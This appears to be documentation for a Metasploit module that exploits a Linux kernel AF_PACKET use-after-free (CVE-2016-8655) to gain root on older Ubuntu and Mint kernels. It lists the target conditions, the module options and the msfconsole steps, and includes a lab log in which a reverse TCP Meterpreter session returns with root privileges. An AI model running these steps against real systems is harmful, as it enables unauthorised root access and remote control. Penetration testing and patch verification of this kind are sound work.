## Description

  This module exploits a race condition and use-after-free in the
  `packet_set_ring` function in `net/packet/af_packet.c` (`AF_PACKET`) in
  the Linux kernel to execute code as `root` (CVE-2016-8655).

  The bug was initially introduced in 2011 and patched in 2016 in version
  4.4.0-53.74, potentially affecting a large number of kernels; however
  this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
  4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
  Linux Mint.

  The target system must have unprivileged user namespaces enabled,
  two or more CPU cores, and SMAP must be disabled.

  Bypasses for SMEP and KASLR are included. Failed exploitation
  may crash the kernel.


## Vulnerable Application

  This module has been tested successfully on:

  * Linux Mint 17.3 (x86_64)
  * Linux Mint 18 (x86_64)
  * Ubuntu 16.04.2 (x86_64)

  With kernel versions:

  * 4.4.0-45-generic
  * 4.4.0-51-generic


## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  3. `use exploit/linux/local/af_packet_chocobo_root_priv_esc`
  4. `set SESSION [SESSION]`
  5. `check`
  6. `run`
  7. You should get a new *root* session


## Options

  **SESSION**

  Which session to use, which can be viewed with `sessions`

  **WritableDir**

  A writable directory file system path. (default: `/tmp`)

  **TIMEOUT**

  Race timeout (seconds). (default: `600`)

  **COMPILE**

  Options: `Auto` `True` `False` (default: `Auto`)

  Whether the exploit should be live compiled with `gcc` on the target system,
  or uploaded as a pre-compiled binary.

  `Auto` will first determine if `gcc` is installed to compile live on the system,
  and fall back to uploading a pre-compiled binary.


## Scenarios

  ```
  msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc 
  msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run
  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ...
  [*] Writing '/tmp/.rMIvkKT' (207 bytes) ...
  [*] Launching exploit (Timeout: 600)...
  [*] Sending stage (853256 bytes) to 172.16.191.209
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.209:38530) at 2018-05-07 03:07:21 -0400
  [+] Deleted /tmp/.iDLrwN3S4.c
  [+] Deleted /tmp/.iDLrwN3S4
  [+] Deleted /tmp/.rMIvkKT

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.209
  OS           : Ubuntu 16.04 (Linux 4.4.0-51-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  meterpreter >
  ```

